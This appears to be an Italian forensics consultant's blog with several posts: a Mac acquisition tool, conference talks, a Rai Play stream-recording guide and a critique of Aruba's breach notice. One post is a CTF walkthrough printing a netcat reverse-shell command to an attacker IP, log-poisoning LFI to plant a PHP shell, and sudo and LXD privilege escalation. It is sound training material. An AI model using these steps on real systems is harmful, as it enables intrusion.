Recentemente ho iniziato a interessarmi al tema dell’acquisizione forense dei computer prodotti da Apple. Per i PC di altri produttori (solitamente con Windows o Linux) esistono vari programmi per fare una copia forense, ma con i Mac la scelta è piuttosto limitata e i pochi prodotti esistenti sono per di più costosi.
Per questo motivo ho deciso di creare un nuovo progetto. Fuji è un software per l’acquisizione forense per i Mac vecchi e nuovi, inclusi gli ultimissimi modelli con Apple Silicon. Permette di ottenere una cosiddetta estrazione Full File System, adoperando una semplice interfaccia grafica e senza righe di comando.
Fuji è un progetto completamente gratuito e open source, disponibile per il download su GitHub. Dopo averlo annunciato a maggio con un post su LinkedIn, ha avuto un riscontro piuttosto positivo dalla comunità.
Ad agosto sono stato intervistato dalla rivista di settore Forensic Focus, che mi ha fatto alcune domande sul mio lavoro, su questo progetto e sul perché l’ho iniziato:
Ho creato Fuji perché ci sono pochi programmi in grado di eseguire l’acquisizione forense dei Mac moderni. Molti sono costosi e nessuno è gratuito o open source.
C’è stata anche l’opportunità di parlare più in generale di quanto il software open source sia importante nel settore dell’informatica forense:
L’open source facilita la verificabilità di ciò che viene fatto. Immagina se, durante un processo in cui la prova del DNA gioca un ruolo cruciale, il biologo ti dicesse: “Non posso dire come ho estratto il DNA del sospetto dalla scena perché è un segreto commerciale, però fidati.”
Inoltre, ho il piacere di comunicarvi che il 29 settembre 2024 a Praga (Repubblica Ceca) si svolgerà l’annuale edizione del SANS DFIR Europe Summit, uno dei più importanti eventi a livello europeo nel settore dell’informatica forense.
Il programma è davvero folto, e tra le 11 presentazioni ben cinque saranno tenute da professionisti italiani! Sarò presente con un intervento intitolato “Fuji: A New Open Source Tool For Full File System Acquisition of Mac Computers”, proprio per presentare il mio progetto:
The advent of Apple Silicon introduced new challenges for forensic acquisition on macOS devices, as traditional imaging tools like dd or Disk Utility cannot be used due to hardware-level encryption. This issue inspired the creation of Fuji, a free and open-source tool designed for the forensic acquisition of Mac computers.
Fuji leverages native Apple utilities such as ASR and Rsync to perform a Full File System (FFS) live acquisition, thus working even on encrypted drives. It generates DMG files compatible with tools like FTK Imager and Autopsy.
We will explore what Fuji is capable of, the differences between its acquisition modes, and how it was developed using Python.
Maggiori informazioni sul programma e le modalità di iscrizione sono disponibili direttamente sul sito web di SANS:
Colgo l’occasione per ringraziare ONIF (Osservatorio Nazionale Informatica Forense) per il sostegno che mi ha dato nella partecipazione al convegno, nonché in quella degli altri colleghi e soci che presenteranno i loro progetti durante la stessa giornata.
Questo mese si terrà il primo evento congiunto organizzato da AIP (Associazione Informatici Professionisti) e ONIF (Osservatorio Nazionale Informatica Forense), che ormai da diversi anni sono associazioni di riferimento nei settori della sicurezza informatica e della digital forensics.
Il convegno SecureBiz 2024 si svolgerà Venerdì 10 maggio (09:30–18:00) e sabato 11 maggio 2024 (09:30–13:00), presso il Florence Visitor Center situato in Piazza della Stazione 4 a Firenze.
Il programma è molto nutrito e si articola su due giornate in cui diversi professionisti affronteranno gli aspetti cruciali per trattare gli incidenti informatici in azienda: prevenzione, mitigazione, analisi e gestione.
Sarò presente con un intervento intitolato “Ottenere risposte immediate dall’analisi dei file di log con SQLite”, dedicato all’estrazione rapida di informazioni chiave da una mole di dati spesso corposa:
Gli accertamenti tecnici relativi ad accessi abusivi e furti di dati informatici richiedono spesso l’analisi di grandi quantitativi di log, con migliaia di righe dalle quali è necessario riconoscere elementi ricorrenti e isolare le anomalie. Si rivela altresì importante correlare e incrociare log provenienti da fonti diverse.
L’intervento ha lo scopo di mostrare come utilizzare SQLite per l’analisi dei log e ottenere risposte in modo rapido ed efficace. Si tratta di uno strumento apparentemente semplice, ma molto potente che consente di ridurre il tempo necessario per ricostruire ciò che è avvenuto. Verranno mostrati due esempi pratici relativi ad accessi abusivi a sistemi informatici.
Maggiori informazioni sul programma e le modalità di iscrizione sono disponibili direttamente sul sito dell’evento e su EventBrite:
La partecipazione all’evento è totalmente gratuita, ma è obbligatorio registrarsi. Al momento sono ancora disponibili dei biglietti, perciò vi consiglio di non lasciarvi sfuggire questa opportunità!
Da qualche giorno diversi utilizzatori del mio script per scaricare i video da Rai Play mi stanno segnalando che si riscontrano difficoltà nel salvare i video in formato MP4, in particolare in quanto compare un messaggio di errore.
A questo punto è necessaria una piccola parentesi tecnica per capire cosa sta succedendo: lo script funziona “scansionando” i possibili URL di file in formato MP4, quindi chiede al sito Rai quali sono le qualità disponibili (più o meno pesanti) e per ciascun file verifica che il video sia effettivamente scaricabile. Infine, propone all’utente una lista di URL.
Perciò lo script non effettua (né ha mai effettuato) alcun tipo di download. Si limita a mostrare un elenco di link, mentre è l’utente che deve scaricare il file che preferisce.
Data la natura di script che viene eseguito all’interno della pagina, tramite l’aiuto di una piccola estensione, esso si deve limitare ai file MP4. Sarebbe infatti molto complicato creare un programma che registra i flussi video in formato HLS, operazione che richiede il salvataggio di numerosi frammenti che poi vanno nuovamente assemblati.
Di fatto lo script sta funzionando in modo corretto: prova a vedere se ci sono i video in formato MP4 e propone all’utente quelli che si possono salvare. Il problema sorge quando non ci sono file MP4 scaricabili perché Rai li sta bloccando tutti.
Ed eccoci qua.
Serve un altro software per registrare i video
La scelta di usare il termine “registrare”, quando fino a oggi ho sempre parlato di scaricare, non è casuale. Come accennato, i video su Rai Play non sono disponibili solo in formato MP4 ma ci sono anche dei flussi (separati per audio e video) in HLS, che si riconoscono dalla tipica estensione M3U8.
I primi si scaricano, i secondi si devono registrare e questo esula dal mio script. Bisogna usare un programma che registri sia il flusso video che quello audio e poi li unisca insieme per generare un file MP4 o MKV che prima non esisteva.
Per farlo da riga di comando si può usare yt-dlp, che è un fork (versione derivata) di youtube-dl. In questo post vorrei però suggerire l’uso di Stacher, una interfaccia grafica che semplifica l’uso di questi strumenti.
Ci sono tre passaggi che devono essere svolti:
Installare Stacher e lo strumento ffmpeg
Configurare il software
Avviare la registrazione
I primi due passaggi devono essere svolti soltanto una volta, il terzo invece andrà ripetuto sempre.
Aggiornamento del 13 marzo 2024: grazie alla nuova versione del programma yt-dlp, gran parte di questa guida è ora “superflua”. Se volete solo il video in qualità massima installate Stacher e ffmpeg, poi saltate la parte di configurazione e andate direttamente in fondo alla fase di registrazione scegliendo la qualità “bestvideo+bestaudio”.
Sui pochissimi video in cui non dovesse funzionare quella voce, optate per la qualità “best” (funziona solo su programmi in cui non c’è la traccia audio a parte).
Lascio la versione precedente della guida per chi desidera scegliere la dimensione del video o il contenitore di uscita (MP4 / MKV).
Dopo averlo installato, al primo avvio vi dovrebbe chiedere di scaricare youtube-dl (che in realtà sarà yt-dlp). Accettate e lasciate che proceda.
A questo punto è importantissimo scaricare e scompattare una versione specifica di ffmpeg nella cartella del programma. Ciò si può vedere anche cliccando sul menù Something not working? all’ultima voce, che tratta i problemi audio.
Cliccandoci sopra si aprirà questa pagina web con le istruzioni. A questo punto è importante fare una distinzione in base al sistema operativo usato.
Nota bene: saltando questo passaggio è quasi certo che verranno scaricati video senza audio, o si riscontreranno altri problemi.
FFmpeg su Windows
Il progetto yt-dlp fornisce delle versioni già compilate specifiche per Windows, pertanto si può consultare la pagina dei rilasci per vedere che ci sono diversi file ZIP.
Le versioni vengono rilasciate in automatico ogni giorno e purtroppo mi sono reso conto che quelle di alcune date non funzionano. Quando ho pubblicato l’articolo le ultime fornite erano versioni perfettamente funzionanti, ma non tutte sono ancora disponibili.
Vi invito caldamente a usare la versione del 14/02/2024. Essa attualmente non è più disponibile online, quindi ho ricaricato l’archivio sul mio account GitHub per preservarlo. Metto il link diretto allo ZIP su questo pulsante:
Poi è necessario importarlo usando la comodissima voce presente al menù Tools > Import FFmpeg *.zip file. Non bisogna fare altro.
FFmpeg su Linux e macOS
Su queste piattaforme lo strumento va installato con gli appositi gestori di pacchetti. Nel caso di macOS in particolare va usato Homebrew (potete fare riferimento al link indicato in precedenza).
Questo però non basta. Infatti sul sito Rai emerge un piccolo problema di comunicazione tra yt-dlp e ffmpeg che può far fallire la fusione delle tracce audio, nella fase di Postprocessing.
Per questo motivo ho preparato per voi tre script specifici che “mascherano” ffmpeg e correggono i parametri da passare al programma “vero”. Procedete così:
Aprite Stacher e andate su Tools > Open Stacher Home Folder
Copiate i tre file all’interno della cartella appena aperta
In seguito la posizione corretta di ffmpeg dovrà essere configurata nelle impostazioni di Stacher.
Configurare il software
Purtroppo anche Stacher, tramite i suoi strumenti, va in confusione in quanto rileva la presenza di file MP4 ma non riesce a scaricarli. Dobbiamo pertanto “insegnare” al programma quali sono i flussi che deve registrare.
Aprite il menù Stacher > Settings > Advanced. Premete il pulsante per confermare che siete sicuri di ciò che state facendo. 🙂
Scorrete fino a trovare la voce Always run with these arguments, sbloccatela tramite il lucchetto a fianco e incollate la seguente stringa nella casella di testo:
Se usate Linux oppure macOS, dovrete anche tornare su alla voce ffmpeg location e selezionare la cartella dove avete copiato i tre file essenziali per registrare correttamente, cioè .stacher nella vostra home.
Vi ricordo che si tratta di una cartella nascosta, quindi potrebbe essere necessario attivare l’opzione per vedere i file nascosti. Generalmente va premuto Ctrl+H sui sistemi Linux e Shift+Cmd+.su macOS, ma verificate voi in base alla configurazione e versione del vostro sistema operativo.
Ora potete chiudere le impostazioni.
Le opzioni che abbiamo scelto servono a selezionare le qualità migliori tra i flussi video, inoltre istruiscono il programma per specificare che vogliamo unire anche eventuali flussi audio separati.
Questo comprende anche l’audiodescrizione o la lingua originale, se presente.
Se vi state chiedendo il perché della stringa Rai Lazza, in realtà non serve a niente, salvo a farvi riconoscere qual è l’opzione giusta al momento di far partire la registrazione. 😉
Avviare la registrazione del video
Nel momento in cui volete registrare una puntata da Rai Play, copiate l’URL della pagina del sito e incollatela nella barra di Stacher. Prima di tutto, assicuratevi di selezionare la qualità corretta del video, cliccando sul menù del formato.
Dovreste riconoscerla in modo abbastanza semplice dal nome “Rai Lazza”:
Una volta selezionato il formato corretto, cliccate l’icona a forma di freccia verso il basso e attendete che il download venga completato. Per impostazione predefinita i video vengono collocati nella cartella Download, ma potete scegliere la posizione che preferite.
Il risultato sarà un file MP4 con le tracce unite, a meno che non decidiate di cambiare formato come descritto in fondo all’articolo.
Chi vuole sul serio qualcosa trova una strada, gli altri una scusa.
Proverbio di origine africana
Ovviamente questo è un metodo possibile, ce ne sono anche altri che consentono di scegliere quali tracce audio si desidera salvare, eccetera. Ma per iniziare dovrebbe essere sufficiente.
Se i file MP4 continueranno a essere in gran parte bloccati, il mio script per il browser avrà sempre meno senso di esistere. Chi lo sa, dopo tanti anni potrebbe andare finalmente in pensione!
Domande frequenti
Dopo aver ricevuto numerosi commenti al post, aggiungo una sezione relativa alle principali domande che sono state pubblicate dai lettori.
Perché su Windows il programma scarica tre file separati con video e tracce audio ma non li unisce?
Per un caso malauguratissimo, quando ho scritto l’articolo l’ultima versione del programma ffmpeg era perfettamente funzionante, ma alcune versioni rilasciate nei giorni successivi invece davano problemi. Chi ha seguito la mia guida nei primi tempi dopo la pubblicazione potrebbe aver riscontrato questo errore.
Perché su Linux e macOS il programma scarica tre file separati con video e tracce audio ma non li unisce?
Questo si verifica per un problema che dipende da come il software interagisce con ffmpeg. L’articolo è stato aggiornato fornendo degli script che aggirano il problema.
Come fare a ottenere un video in “formato” MKV?
In realtà MKV è un contenitore video, così come MP4. Il formato della traccia video sul sito Rai rimane comunque H264. Detto ciò, per cambiare il contenitore è sufficiente cambiare il parametro relativo al remuxing, per esempio così:
In sostanza dovete solo modificare la parte finale da mp4 a mkv.
I video sono in alta qualità, come si può registrare in bassa qualità?
Questa è forse la domanda più strana e inaspettata che potessi ricevere. Di solito le lamentele arrivano se un video si vede male, non se si vede bene. 🙂 In ogni caso, nella stringa consigliata ho incluso un filtro sulla larghezza (in pixel) del flusso video.
Potete notare che ci sono dei pezzi relativi al valore 9999:
best[width<=9999]
Questa stringa si ripete più volte. Per ottenere una qualità inferiore vi basterà rimpiazzare il valore 9999 con la larghezza massima che volete ottenere. Vi ricordo che molti video sul sito Rai sono disponibili in 1920×1080, 1440×810, 1280×720, 1024×568.
Dunque potreste scegliere di cambiare la stringa così:
Tuttavia dovete fare attenzione: non tutti i video sono disponibili in tutte le risoluzioni, perciò il valore indica solo un limite massimo. Potreste ottenere una qualità molto inferiore rispetto a quella che avete richiesto.
Perché si ottiene l’errore 403: Forbidden?
Generalmente i casi sono due: o vi trovate all’estero e la Rai vi sta bloccando, oppure non avete configurato il software come scritto nella guida.
Come si possono salvare i sottotitoli?
Conviene usare l’apposita opzione presente in Stacher, come ha consigliato l’utente Yupi in un suo commento.
Stacher registra solo da Rai Play o funziona anche con altri siti web?
Il software che si occupa di registrare i video è yt-dlp, il quale supporta centinaia di siti web. Tuttavia questo articolo è specifico per Rai Play e di conseguenza anche i parametri che vi ho consigliato.
Gli altri siti dovrebbero funzionare ma non escludo che i parametri che vi ho fatto impostare possano causare qualche “pasticcio”. Siamo comunque fuori tema rispetto a questo post. 😉
Aggiornamento del 12/02/2024: i parametri da inserire sono stati modificati per tenere conto di alcuni video con qualità “strane”, che altrimenti sarebbero sfuggite.
Aggiornamento del 25/02/2024: è stato aggiunto un metodo per risolvere i problemi di registrazione di alcuni video su Linux e macOS. Ho inserito anche una sezione di domande frequenti.
Aggiornamento del 27/02/2024: ora viene indicata una specifica versione di ffmpeg per Windows, per assicurarsi che chiunque segua la guida usi la stessa build.
Aggiornamento del 13/03/2024: grazie alla nuova versione del programma yt-dlp, alcune parti di questa guida sono ora superflue. Ho aggiunto una nota che spiega che gli utenti senza necessità particolari possono limitarsi a usare “bestvideo+bestaudio”.
Anche quest’anno torna l’appuntamento con l’informatica forense con il convegno organizzato dall’associazione ONIF (Osservatorio Nazionale Informatica Forense). L’evento è giunto alla sua settima edizione, intitolata “Il favoloso mondo di Amelia pervaso da Digital Forensics e Cybersecurity”.
Il convegno si svolgerà Venerdì 20 ottobre 2023 dalle ore 09:00 alle 18:00, nella consueta e suggestiva cornice del Chiostro Boccarini di Amelia, un bellissimo borgo in provincia di Terni.
Il programma è davvero ricco, con interventi relativi all’informatica forense, la cybersecurity e l’informatica giuridica. Tra i relatori e ospiti si annoverano operatori delle forze dell’ordine, personalità istituzionali, giuristi e consulenti tecnici membri di ONIF.
Sarò presente con un intervento intitolato “Acquisizione forense con FIT — Stato dell’arte e prospettive future”, dedicato alla cristallizzazione di contenuti dal web:
L’acquisizione forense di contenuti da Internet è una tematica piuttosto ampia e in continua evoluzione, riguardando non solo semplici siti, ma anche contenuti multimediali, applicazioni web complesse e messaggi email.
Attualmente esistono diverse soluzioni proprietarie dedicate a questo tipo di lavoro.
Il progetto open source FIT, sviluppato attivamente da alcuni soci ONIF, mira a introdurre uno strumento di libero utilizzo, modulare ed estendibile per affrontare la raccolta dei contenuti tramite Internet.
L’intervento intende descrivere le caratteristiche peculiari di FIT, i vantaggi rispetto ad altre soluzioni, nonché alcune possibilità di sviluppi futuri per migliorarlo ulteriormente.
Maggiori informazioni sul programma, le modalità di iscrizione e gli alloggi convenzionati sono disponibili direttamente sul sito web di ONIF:
I biglietti sono letteralmente “andati a ruba” subito dopo l’apertura delle prenotazioni su EventBrite, tuttavia consiglio di tenere d’occhio la pagina ufficiale perché probabilmente verrà aperta una lista d’attesa, nel caso ci fossero cancellazioni.
Materiale
Potete scaricare le slide cliccando qui, mentre il video è disponibile su YouTube e qui sotto. Non dimenticate di seguire il canale di ONIF, per accedere a tutti gli altri interventi della conferenza.
Se necessitate una consulenza tecnica per documentare contenuti presenti sul web a scopo legale, potete richiedere questo tipo di servizio tramite la pagina dedicata.
La serie di serate divulgative, gratuite e aperte a tutti del LUG di Vicenza continua fino a fine mese.
Il 20 giugno terrò un intervento dedicato agli adeguamenti necessari per poter pubblicare un sito web con WordPress in modo che sia rispettoso del GDPR e della privacy degli utilizzatori:
WordPress è il gestore di contenuti utilizzato dal 65% dei siti web che si basano su un CMS. Si tratta di una piattaforma versatile e completa, ma che può presentare alcune problematiche di privacy se usato nella sua configurazione predefinita.
Gli autori di siti web possono avere l’impressione che adeguarsi al GDPR sia un processo lungo, tedioso e oltremodo scomodo. Durante questo intervento vedremo che, in realtà, bastano davvero pochi e semplici aggiustamenti per garantire il massimo rispetto della privacy dei nostri visitatori.
Avremo modo di affrontare alcune tematiche piuttosto comuni relative ai banner che informano riguardo l’utilizzo dei cookie, ma anche gli embed di video da siti esterni e l’uso di dati personali nei commenti del sito.
Potete scaricare le slide cliccando qui, mentre il video è disponibile su YouTube e qui sotto. Il progetto Monk è scaricabile a questo indirizzo.
Se volete che il vostro sito venga aggiornato e controllato in modo professionale, potete richiedere questo tipo di servizio tramite la pagina dei contatti.
Anche per l’anno 2023 il LUG di Vicenza sta organizzando una fitta serie di serate divulgative, gratuite e aperte a tutti.
Il 28 marzo terrò un intervento dedicato a una navigazione maggiormente consapevole, per fruire dei nostri contenuti preferiti ma con un occhio di riguardo alla tutela dei nostri dati personali, riducendo la profilazione e il tracking:
La maggior parte dei siti web e dei social network più famosi raccoglie moltissimi dati sugli utenti, spesso senza consenso, e utilizza queste informazioni per creare profili dettagliati che permettono di mostrare pubblicità sempre più mirata. Inoltre, spesso vengono usate tecniche di tracking per controllare le attività degli utenti anche fuori dalla piattaforma.
I frontend alternativi sono una soluzione che ci permette di fruire dei contenuti che ci interessano, riducendo però l’esposizione dei nostri dati e il tracciamento pervasivo. Durante la serata verranno illustrati alcuni esempi di frontend alternativi per siti popolari come YouTube, Twitter e Reddit, con informazioni pratiche su come utilizzarli al meglio.
Vedremo anche qualche consiglio utile applicabile su tutti i siti web.
L’enfasi sarà dedicata a questi interessanti strumenti, che sono facilissimi da usare, ma seguirà anche qualche piccola “chicca” relativa al rifiuto dei cookie-wall e alla riscoperta di una tecnologia un po’ trascurata, cioè i feed RSS.
Dal 12 al 14 settembre 2022 torna Treviso Forensic, uno dei principali appuntamenti tra professionisti (tecnici, avvocati, magistrati, …) che operano nel settore delle scienze tecniche applicate in ambito forense.
L’evento è organizzato dall’Ordine degli Ingegneri di Treviso, adotta un approccio multidisciplinare e predilige il confronto tra esperienze differenti utilizzando le tavole rotonde.
La mattina del 13 settembre conterrà una sessione interamente dedicata alla digital forensics, presieduta dall’Ing. Paolo Reale. Io parteciperò con un intervento intitolato “Nuove tecniche di analisi sulla falsificazione di chat WhatsApp e recupero dei messaggi originali”.
La successiva tavola rotonda sarà particolarmente interessante, in quanto verterà sulla tecnologia e i risvolti legali delle intercettazioni con il cosiddetto captatore informatico o “trojan di stato”, strumento che viene utilizzato anche in Italia in determinate situazioni.
Durante il mio talk darò alcuni spunti su degli accertamenti che si possono svolgere nel tentativo di rilevare le tracce dei messaggi WhatsApp falsificati, tematica che avevo introdotto in parte a Treviso Forensic 2020.
Quest’anno, il seminario si svolgerà sia in presenza al Campus Universitario di Treviso, sia online. Ci si può ancora iscrivere per entrambe le modalità.
Il 27 maggio 2022, dalle 14:30 alle 18:30, sarò relatore in un webinar interamente dedicato ai rudimenti della digital forensics, all’interno del ciclo di eventi “Cybersecurity: Concetti base e nel lavoro quotidiano”.
L’incontro, di natura divulgativa, verterà sulla disciplina dell’informatica forense all’interno del panorama legislativo italiano. Saranno introdotti i principali concetti di base propri della materia, il metodo scientifico, la normativa che regola i reati informatici e i tipi di analisi che possono essere svolte su computer e smartphone.
Tramite una dimostrazione del software Autopsy, i partecipanti potranno anche vedere dal vivo una parte del lavoro di analisi svolto su un caso pratico. L’intervento è particolarmente consigliato a informatici, consulenti tecnici, avvocati, giuristi, ingegneri e appassionati di discipline tecnico-scientifiche.
Il talk si svolgerà online e sarà trasmesso in streaming su piattaforma Google Meet. Per partecipare è obbligatorio iscriversi gratuitamente tramite Eventbrite:
Va precisato che un’eventuale registrazione video verrà messa a disposizione solamente a coloro che si sono regolarmente iscritti all’evento.
L’evento è organizzato da InnovationLab Dolomiti, un progetto finanziato dalla Regione Veneto, con l’obiettivo di qualificare le competenze digitali per incrementare la consapevolezza sui temi dell’innovazione e della digitalizzazione.
Durante la diciassettesima edizione di HackInBo (Safe Edition) si è svolta una competizione Capture The Flag organizzata da CyberTeam. Si tratta di gare in cui bisogna risolvere dei problemi di sicurezza informatica e provare a violare dei sistemi appositamente costruiti, guadagnando delle flag che danno diritto a un punteggio.
Tali competizioni costituiscono attività “ludiche” estremamente importanti per i colleghi che si occupano di penetration testing (tengono allenate le proprie capacità), ma anche per noi informatici forensi, perché ci permettono di migliorarci pensando come gli attaccanti e quindi risultare più efficaci quando dobbiamo analizzare un’intrusione informatica.
L’argomento della sfida, che si può ancora giocare online, è l’ottenimento di privilegi di amministratore a partire da un’applicazione web:
CTF creata ad hoc per l’evento che permette di mettere alla prova le proprie abilità boot to root. Partendo da una web application, con una serie di movimenti laterali bisognerà arrivare al root della macchina recuperando le 3 flag durante il percorso per arrivare al massimo livello dei privilegi amministrativi.
Questa pagina spiega dall’inizio alla fine il procedimento che ho seguito per risolvere i vari livelli. Se siete intenzionati a partecipare, vi consiglio di non leggere oltre in quanto ovviamente contiene spoiler.
Ricognizione iniziale
Dopo aver avviato una macchina virtuale con la propria distro preferita (per esempio Kali) e collegato la VPN, si può procedere a una scansione dell’host con Nmap:
$ nmap -P0 10.10.250.66
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 22:49 CET
Nmap scan report for dev.cyberteam.ctf (10.10.170.93)
Host is up (0.075s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds
Si nota che sono aperte la porta SSH e quella HTTP. Ho dunque visitato l’URL nel browser, ottenendo una pagina di benvenuto con riferimento a un indirizzo email e a un account Twitter.
Attività di OSINT
Visitando il profilo Twitter, si nota che l’utente ha pubblicato un contenuto un po’ sibillino:
Grazie a Wayback Machine ho recuperato un tweet precedentemente cancellato, il quale contiene delle credenziali (j0hn_d03 e la password P4$$w0RdS1Cur4). Resta da capire dove utilizzare queste credenziali.
Il vero sito web
Notando la scritta dev.cyberteam.ctf si può pensare che sia un virtual host, perciò ho inserito una riga DNS nel file /etc/hosts:
10.10.250.66 dev.cyberteam.ctf
Visitando questo indirizzo si ottiene un risultato diverso, con un modulo di login pronto ad accettare le credenziali trovate.
Dopo il login, si accede a un’area nascosta nel percorso /menu/. Le pagine sono gestite in un modo un po’ particolare, con link simili al seguente:
http://dev.cyberteam.ctf/menu/?view=news.php
Provando a modificare il parametro view risulta subito chiaro che c’è un filtro basilare sul contenuto inserito, che vieta valori “totalmente” arbitrari. Tuttavia, mantenendo fisso il prefisso news si può modificare ciò che segue senza scatenare ulteriori controlli. Ho verificato la vulnerabilità LFI accedendo alla lista degli utenti:
Ci sono alcuni modi diversi per ottenere l’esecuzione di comandi arbitrari in questo contesto. Personalmente ho deciso di seguire la guida di Null Byte, facendo eseguire codice PHP iniettato nel file di log di Apache. Ho deciso di sfruttare questa possibilità per caricare una comoda shell in PHP che mi permettesse di eseguire comandi un po’ più complessi in modo semplice.
Innanzitutto ho scaricato il file e lo ho reso disponibile sfruttando il server di Apache fornito da Kali (sulla macchina d’attacco):
A questo punto è stato sufficiente usare la precedente vulnerabilità LFI per far stampare a video il file /var/log/apache2/access.log, scatenando l’esecuzione del comando desiderato. Questo mi ha permesso di ottenere una shell visitando il percorso http://10.10.250.66/shell.php, rendendo il resto del lavoro più semplice.
Da Netcat a una “vera” Bash
Il passaggio che ha portato all’ottenimento della prima flag per me è stato il più ostico, dopo aver sbattuto la testa per alcune ore ho deciso di lasciare perdere per un paio di giorni e ritornarci a mente fresca. La realtà è che la soluzione era molto più facile del previsto, ma non era realizzabile dalla shell PHP. C’era bisogno di una “vera” Bash che permettesse di eseguire comandi interattivi e accettasse quindi l’input dalla tastiera.
Il primo passo è stato ottenuto passando attraverso una reverse shell con l’uso di Netcat. Dato che il comando nc sulla macchina da attaccare era privo del parametro -e, ho usato Metasploit per generare un comando alternativo:
$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.9.5.240 LPORT=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/xhxxbgn; nc 10.9.5.240 4444 0</tmp/xhxxbgn | /bin/sh >/tmp/xhxxbgn 2>&1; rm /tmp/xhxxbgn
Ho lanciato nc -lvp 4444 per rimanere in ascolto nel mio terminale, quindi il comando suggerito da Metasploit nella shell PHP caricata in precedenza. Stabilita la connessione base con Netcat, ho invocato Bash tramite Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Così facendo ho potuto provare a cambiare utente con il comando su j0hn_do3, tentando la fortuna con la password dell’applicazione web. La procedura di login ha funzionato ed è stato possibile accedere alla prima flag.
Privilege escalation
Potendo esplorare i file contenuti nella home directory dell’utente j0hn_do3, ho notato subito la presenza di uno script denominato passwordgen.py che risulta di proprietà di h4k1nb0 e non modificabile. La cosa ancora più interessante è che questo script può essere lanciato dall’utente con il comando sudo, ottenendo quindi i privilegi di h4k1nb0:
$ cat /etc/sudoers.d/j0hn_do3
j0hn_do3 ALL = (h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
Il file è di proprietà di un altro utente, quindi non è modificabile. Tuttavia, il proprietario della cartella home lo può pur sempre rinominare! Perciò ho creato un nuovo file con il codice per eseguire Bash e li ho scambiati:
Ho chiuso la sessione e mi sono collegato con SSH, ottenendo la possibilità di usare l’autocompletamento e i tasti freccia per scorrere gli ultimi comandi digitati:
ssh h4k1nb0@dev.cyberteam.ctf
Accesso con privilegi di root
L’ultimo livello richiede di ottenere i privilegi amministrativi sulla macchina, in altri termini è necessario riuscire a ottenere un accesso con utente root. Cercando qualche appiglio riguardante l’utente h4k1nb0, è emerso un file nascosto chiamato .creds, dal contenuto apparentemente succulento:
$ cat .creds
I'm tired of forgetting it!!!!!!
P0w3r0V3rw3LM1ng
Purtroppo questa si è rivelata una falsa pista. Dopo alcuni tentativi ho notato che l’utente appartiene a un gruppo particolare, vale a dire lxd:
Una veloce ricerca per “lxd group” rivela immediatamente un link molto interessante, cioè una guida piuttosto semplice per ottenere privilegi di root a partire dalla possibilità di avviare container LXD. Io ho usato il metodo 2.
Nella macchina di attacco ho scaricato il necessario e costruito un container con Alpine Linux:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
Il file è stato copiato sulla macchina da violare:
Ciò ha permesso di ottenere una shell con accesso amministrativo e la possibilità di agire su qualsiasi file della macchina attraverso il mount point/mnt/root. La flag è nel percorso /mnt/root/root/root.txt.
Conclusioni
Seguendo le sfide proposte nella competizione, è stato possibile “bucare” un’applicazione web vulnerabile e scalare i privilegi fino ad arrivare al controllo totale della macchina.
Personalmente ho trovato abbastanza “sbilanciata” l’assegnazione dei punteggi delle flag, in quanto la parte più ostica è stata la prima, mentre il resto è stato risolto in meno di un’ora. Mi sono confrontato con un altro partecipante alla gara e anch’egli ha avuto un’impressione simile.
In ogni caso, sono grato agli organizzatori di HackInBo e a CyberTeam per avere reso possibile questa attività. Partecipare mi ha permesso di “rispolverare” strumenti come le reverse shell che non vedevo granché dai tempi delle competizioni CTF universitarie, nonché approfondire l’uso di Metasploit e l’ottenimento dei privilegi di root tramite LXD.
Chiaramente le gare CTF di sicurezza offensiva sono un po’ diverse da quelle di digital forensics, ma è molto importante partecipare a questi eventi in quanto fanno parte del continuo aggiornamento professionale, che oserei definire tassativo per chi si occupa di queste tematiche.
Questa triste storia “all’italiana” inizia il 23 aprile 2021: Aruba (uno dei più famosi provider italiani di servizi web, firma digitale e PEC) subisce una violazione informatica — un cosiddetto data breach. Nello stesso periodo, operando senza dare troppo nell’occhio, l’azienda interviene sui propri sistemi per forzare a tutti i clienti un cambio delle password, senza tuttavia indicare il motivo specifico.
Dopo più di 80 giorni, il 14 luglio 2021, il provider informa i propri clienti della circostanza. A dire il vero, alcuni (come me) sono stati informati il giorno successivo, ma poco importa. Fino a quel momento ai clienti era sempre stata negata qualunque informazione in merito a possibili attacchi, nonostante la manovra del cambio password fosse sembrata a molti “quantomeno bislacca” (cit. Orlando Serpentieri).
L’email inviata da Aruba a metà luglio, oltre che estremamente tardiva, è scritta in modo da minimizzare nel modo più assoluto quanto successo. L’oggetto del messaggio è semplicemente “Comunicazione“, un titolo che passa inosservato, probabilmente ritenuto più innocuo di “Avviso VIOLAZIONE dati” o “Ci hanno sfondato il sistema”.
Il testo del messaggio è davvero peculiare, in quanto sottolinea che non ci sono state alterazioni di dati, né cancellazioni:
desideriamo informarla che il 23 aprile scorso abbiamo rilevato e bloccato un accesso non autorizzato alla rete che ospita alcuni dei nostri sistemi gestionali, ma nessun dato è stato cancellato né alterato
Aruba
Sempre relativamente ai dati, in seguito si ribadisce che la loro “integrità e disponibilità non sono state impattate in alcun modo”. Peccato che in tutto questo si sorvoli sul fattore più importante: la confidenzialità. I dati menzionati sono:
nome e cognome
codice fiscale
indirizzo, città, CAP, provincia
telefono
indirizzo email, indirizzo PEC
login all’area clienti
password (protette da crittografia forte)
Agli occhi di un utente poco esperto di sicurezza informatica il messaggio potrebbe lasciare l’idea che non sia successo niente di grave, ma in verità non si dice nulla riguardo il fatto che questi dati possano essere stati letti o copiati da terze parti non autorizzate. Viene da pensare che la bizzarra scelta di parole non sia casuale, ma strategicamente pensata per minimizzare gli eventi.
Il messaggio termina con alcuni consigli generici relativi ad accortezze per evitare le truffe (stare attenti alle email che sembrano provenire dal provider, non divulgare password, e così via) ma sostanzialmente dichiara all’utente che “non è necessaria alcuna azione”.
